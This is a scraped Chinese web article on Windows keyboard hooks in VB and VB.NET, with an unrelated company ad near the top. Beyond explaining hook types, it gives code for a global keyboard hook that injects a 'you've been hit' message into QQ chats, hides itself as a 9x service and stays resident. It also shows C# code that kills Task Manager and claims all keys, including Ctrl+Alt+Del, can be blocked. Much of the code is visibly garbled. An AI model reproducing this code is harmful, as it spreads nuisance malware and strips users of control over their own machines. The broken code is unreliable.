vb.net外部钩子的简单介绍

VB .net中如何调用底层键盘钩子或其他方法屏蔽全局所有按键

.net的代码真木有写过。

创新互联公司主要为客户提供服务项目涵盖了网页视觉设计、VI标志设计、全网整合营销推广、网站程序开发、HTML5响应式重庆网站建设公司成都做手机网站、微商城、网站托管及成都网站维护、WEB系统开发、域名注册、国内外服务器租用、视频、平面设计、SEO优化排名。设计、前端、后端三个建站步骤的完善服务体系。一人跟踪测试的建站服务标准。已经为围栏护栏行业客户提供了网站开发服务。

VB 可以屏蔽 包括ctrl+alt+del在内的所有键盘按键消息

其实你只要后台截获按键的消息后,直接屏蔽掉就可以了。

VB代码我有 net木有。

什么是钩子函数?钩子函数的使用。

WINDOWS的钩子函数可以认为是WINDOWS的主要特性之一。利用它们,您可以捕捉您自己进程或其它进程发生的事件。通过“钩挂”,您可以给WINDOWS一个处理或过滤事件的回调函数,该函数也叫做“钩子函数”,当每次发生您感兴趣的事件时,WINDOWS都将调用该函数。一共有两种类型的钩子:局部的和远程的。

局部钩子仅钩挂您自己进程的事件。

远程的钩子还可以将钩挂其它进程发生的事件。远程的钩子又有两种:

基于线程的 它将捕获其它进程中某一特定线程的事件。简言之,就是可以用来观察其它进程中的某一特定线程将发生的事件。

系统范围的 将捕捉系统中所有进程将发生的事件消息。 当您创建一个钩子时,WINDOWS会先在内存中创建一个数据结构,该数据结构包含了钩子的相关信息,然后把该结构体加到已经存在的钩子链表中去。新的钩子将加到老的前面。当一个事件发生时,如果您安装的是一个局部钩子,您进程中的钩子函数将被调用。如果是一个远程钩子,系统就必须把钩子函数插入到其它进程的地址空间,要做到这一点要求钩子函数必须在一个动态链接库中,所以如果您想要使用远程钩子,就必须把该钩子函数放到动态链接库中去。当然有两个例外:工作日志钩子和工作日志回放钩子。这两个钩子的钩子函数必须在安装钩子的线程中。原因是:这两个钩子是用来监控比较底层的硬件事件的,既然是记录和回放,所有的事件就当然都是有先后次序的。所以如果把回调函数放在DLL中,输入的事件被放在几个线程中记录,所以我们无法保证得到正确的次序。故解决的办法是:把钩子函数放到单个的线程中,譬如安装钩子的线程。

钩子一共有14种,以下是它们被调用的时机:

WH_CALLWNDPROC 当调用SendMessage时

WH_CALLWNDPROCRET 当SendMessage的调用返回时

WH_GETMESSAGE 当调用GetMessage 或 PeekMessage时

WH_KEYBOARD 当调用GetMessage 或 PeekMessage 来从消息队列中查询WM_KEYUP 或 WM_KEYDOWN 消息时

WH_MOUSE 当调用GetMessage 或 PeekMessage 来从消息队列中查询鼠标事件消息时

WH_HARDWARE 当调用GetMessage 或 PeekMessage 来从消息队列种查询非鼠标、键盘消息时

WH_MSGFILTER 当对话框、菜单或滚动条要处理一个消息时。该钩子是局部的。它时为那些有自己的消息处理过程的控件对象设计的。

WH_SYSMSGFILTER 和WH_MSGFILTER一样,只不过是系统范围的

WH_JOURNALRECORD 当WINDOWS从硬件队列中获得消息时

WH_JOURNALPLAYBACK 当一个事件从系统的硬件输入队列中被请求时

WH_SHELL 当关于WINDOWS外壳事件发生时,譬如任务条需要重画它的按钮.

WH_CBT 当基于计算机的训练(CBT)事件发生时

WH_FOREGROUNDIDLE 由WINDOWS自己使用,一般的应用程序很少使用

WH_DEBUG 用来给钩子函数除错

附:如何使用钩子函数(接收到字母A按下时,窗体由最小化弹出的完整的代码)

Public Declare Function CallNextHookEx Lib "user32" _

(ByVal hHook As Long, _

ByVal nCode As Long, _

ByVal wParam As Long, _

ByVal lParam As Long) As Long

Public Declare Function UnhookWindowsHookEx Lib "user32" _

(ByVal hHook As Long) As Long

Public Declare Function SetWindowsHookEx Lib "user32" _

Alias "SetWindowsHookExA" _

(ByVal idHook As Long, _

ByVal lpfn As Long, _

ByVal hmod As Long, _

ByVal dwThreadId As Long) As Long

Public Const WH_KEYBOARD = 2

Public Const KEY_WINSTART = 91

Public Const KEY_WINMENU = 93

Global hHook As Long

Public Function KeyboardProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

If nCode = 0 Then

If wParam = KEY_WINMENU Or wParam = KEY_WINSTART Then

If (lParam And HC0000000) = 0 Then

MsgBox "", , ""

KeyboardProc = 1

Exit Function

End If

End If

End If

KeyboardProc = CallNextHookEx(hHook, nCode, wParam, lParam)

End Function

Option Explicit

Private Sub Command1_Click()

form2.Show 1

End Sub

Private Sub form_Load()

hHook = SetWindowsHookEx(WH_KEYBOARD, AddressOf KeyboardProc, 0, App.ThreadID)

Me.Show

End Sub

Private Sub form_Unload(Cancel As Integer)

Call UnhookWindowsHookEx(hHook)

End Sub

VB拦截message消息

在Windows使用SetWindowsHookEx来实现hook(钩子)。钩子分类很多,其中消息钩子可以获取对象所接受大部分Message消息。不管是消息钩子或键盘钩子或其他钩子,安装钩子的SetWindowsHookEx函数需要一个回调函数指针。Windows收到某个消息以后确认并且发送应用程序前通知我们的回调函数。

钩子有两种

1)全局钩子,也就是说我们的程序可以拦截所有外部程序收的的消息。

2)非全局钩子,拦截当前进程所收到的消息。

为了实现全局钩子,回调函数必须在DLL中。好像用VB不能编写真正的动态链接库。

以下是简单代码:'Option Explicit

'uses

' Windows, Messages, SysUtils, TlHelp32;

'Delphi 中一些头引用,相当于C++的 *.h

'键盘HOOK类型

Private Type tagKBDLLHOOKSTRUCT

vkCode As Long

scanCode As Long

flags As Long

time As Long

dwExtraInfo As Long

End Type'定义API函数指针,VB不支持该定义

'RegSerProc=Function(dwProcessID,dwType:Integer):Integer;stdcall;Const WH_KEYBOARD_LL = 13

Const WH_MOUSE_LL = 14

'钩子消息及指针

Private lpMsg As TagMsg

Private lpHook As Long

'动态调用DLL函数指针

Private hDll As Long

'VB不支持该定义

'RegPointer:POINTER;

'RegServiceProc:RegSerProc;

'版本

Private OsInfo As OSVERSIONINFO

'QQ窗口的一些句柄

Private buf_hWnd As Long '前台窗口句柄

Private CheckBuf_hWnd As Long '判断是否还是前台窗口句柄

Private RichChat_hWnd As Long 'RichEdit20A句柄

Private CheckPaste As Long '判断是否在进行粘贴

'定时执行程序

Sub TimerWork()

MessageBox 0, "一个消息", "哈哈", 64

End Sub'粘贴代码

Sub PasteMsg()

Dim hMem As Long

Dim pStr() As Byte

Dim S As String

S = vbCrLf + vbCrLf + "恭喜你,你已经中招了!哈哈"

hMem = GlobalAlloc(GHND Or GMEM_SHARE, (LenB(S) * 2) + 4)

pStr = GlobalLock(hMem)

lstrcpy pStr(0), S

GlobalUnLock hMem

OpenClipboard 0

EmptyClipboard

SetClipboardData CF_TEXT, hMem

CloseClipboard

GlobalFree hMem

'发送WM_PASTE对QQ2006 and 2007 已经不起作用

'PostMessage(lphWnd,WM_PASTE,0,0);

CheckPaste = True

keybd_event VK_CONTROL, MapVirtualKey(VK_CONTROL, 0), 0, 0

keybd_event Ord("V"), MapVirtualKey(Ord("V"), 0), 0, 0

keybd_event Ord("V"), MapVirtualKey(Ord("V"), 0), KEYEVENTF_KEYUP, 0

keybd_event VK_CONTROL, MapVirtualKey(VK_CONTROL, 0), KEYEVENTF_KEYUP, 0

CheckPaste = False

End Sub

'Enum窗口

Function EnumProc(ByVal hWnd As Long, ByVal lParam As Long) As Boolean

Dim RichName As String, ParentName As String 'RichEdit20A,AfxWnd42类名

Dim RichBuf As String * 255, ParentBuf As String * 255

Dim ParenthWnd As Long

'获取父窗口,通过AfxWnd42进行窗口查找

ParenthWnd = GetParent(hWnd)

GetClassName hWnd, RichBuf, 256

RichName = Left(RichBuf, InStr(RichBuf, vbNullChar) - 1)

If RichChat_hWnd 0 Then

EnumProc = False

Exit Function

End If

If LCase(RichName) = "richedit20a" Then

'获取父窗口类名

If ParenthWnd 0 Then

GetClassName ParenthWnd, ParentBuf, 256

ParentName = Left(ParentBuf, InStr(ParentBuf, vbNullChar) - 1)

End If

'通过父窗口类名进行比较,判断是否为输入窗口

If LCase(ParentName) = "afxwnd42" Then

PasteMsg

RichChat_hWnd = hWnd

EnumProc = False

Exit Function

End If

End If

'继续查找子窗口

EnumChildWindows hWnd, AddressOf EnumProc, 0

EnumProc = True

End Function'Hook代码

Function HookProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Dim qqBuf As String * 255

Dim frmBuf As String * 255

Dim frmName As String '窗口名称

Dim clsName As String '获取类名

Dim p As KBDLLHOOKSTRUCT '键盘按键指针类型

If nCode = HC_ACTION Then

If (wParam = WM_KEYDOWN) And (Not CheckPaste) Then begin

'p:=PKBDLLHOOKSTRUCT(lParam);

'此处应该翻译为以下:

CopyMemory p, ByVal lParam, Len(p)

'判断是否Ctrl+V发送

If (p.vkCode = VK_RETURN) And ((GetKeyState(VK_CONTROL) And H8000) 0) Then

'获取当前前台窗口

buf_hWnd = GetForegroundWindow

GetWindowText buf_hWnd, frmBuf, 256

GetClassName buf_hWnd, qqBuf, 256

frmName = Left(frmBuf, InStr(frmBuf, vbNullChar) - 1) '该地方只是一个处理而已

clsName = Left(qqBuf, InStr(qqBuf, vbNullChar) - 1)

'通过判断是否还是当前窗口,如果不是则执行重复操作

If (CheckBuf_hWnd buf_hWnd) Then CheckBuf_hWnd = buf_hWnd

'查找QQ窗口

If (InStr(clsName, "#32770") 0) And ((InStr(frmName, "聊天中") 0) Or (InStr(frmName, " 群") 0)) Then

'重新初始化QQ编辑控件句柄

If RichChat_hWnd 0 Then RichChat_hWnd = 0

'遍历子窗口进行查找

EnumChildWindowsmbuf_hWnd , AddressOf EnumProc, 0

End If

'如果是原来窗口,那么直接进行处理操作

ElseIf (InStr(clsName, "#32770") 0) And ((InStr(frmName, "聊天中") 0) Or (InStr(frmName, " 群") 0)) Then

PasteMsg

End If

End If

End If

HookProc = CallNextHookEx(lpHook, nCode, wParam, lParam)

End FunctionPublic Sub Main()

'注册钩子时先判断操作系统版本

OsInfo.dwOSVersionInfoSize = Len(OsInfo)

GetVersionEx OsInfo

If OsInfo.dwPlatformId = VER_PLATFORM_WIN32_NT Then

'如果是NT系统那么向系统注册钩子

lpHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf HookProc, hInstance, 0)

如果向系统注册钩子失败

If lpHook = 0 Then SetTimer 0, 0, 500, AddressOf TimerWork

Else

'向9x注册系统服务

hDll = LoadLibrary("kernel32.dll")

RegPointer = GetProcAddress(hDll, "RegisterServiceProcess")

If RegPointer 0 Then

'VB不支持该指针,所以就不翻译了

'RegServiceProc:=RegSerProc(RegPointer);

'RegServiceProc(GetCurrentProcessID,1);

Else

'如果没有向9x注册成功服务器,以Timer进行操作

SetTimer 0, 0, 500, AddressOf TimerWork

End If

End If

'消息循环,永驻内存

Do While GetMessage(lpMsg, 0, 0, 0)

TranslateMessage lpMsg

DispatchMessage lpMsg

Loop

End Sub

vb.net编写的程序屏蔽系统热键

使用VB.net编写屏蔽热键的方法有很多中,比如说使用系统的API函数,也可以使用钩子来进行屏蔽.还有一种就是.net带的一种方法,首先来判断所按下去的键,然后再执行操作等事件.比如说:if (e.keycode==keys.D){e.handle=true}在keydown事件里面处理!这样就可以屏蔽了D键. 实例:if ((Control.ModifierKeys == Keys.Alt) (e.KeyCode == Keys.F4))

{

e.Handled = true;

}还有一种办法就是不通过屏蔽热键来实现,就是通过设置焦点.你可以把你程序窗口设置为主焦点,这样其他程序一般就无法在你的程序前面了.实现屏蔽的作用.至于任务管理器的话可以通过杀掉进程的办法做到.如下: Process[] p = Process.GetProcesses(); foreach (Process p1 in p)

{

try

{

if (p1.ProcessName.ToLower().Trim() == "taskmgr")//这里判断是任务管理器

{

p1.Kill();

return;

}

}

catch

{

return;

}

}}以上是使用C#编写的,稍微改下就可以了,在,NET里面都差不多!


本文标题:vb.net外部钩子的简单介绍
网址分享:http://myzitong.com/article/phjsdc.html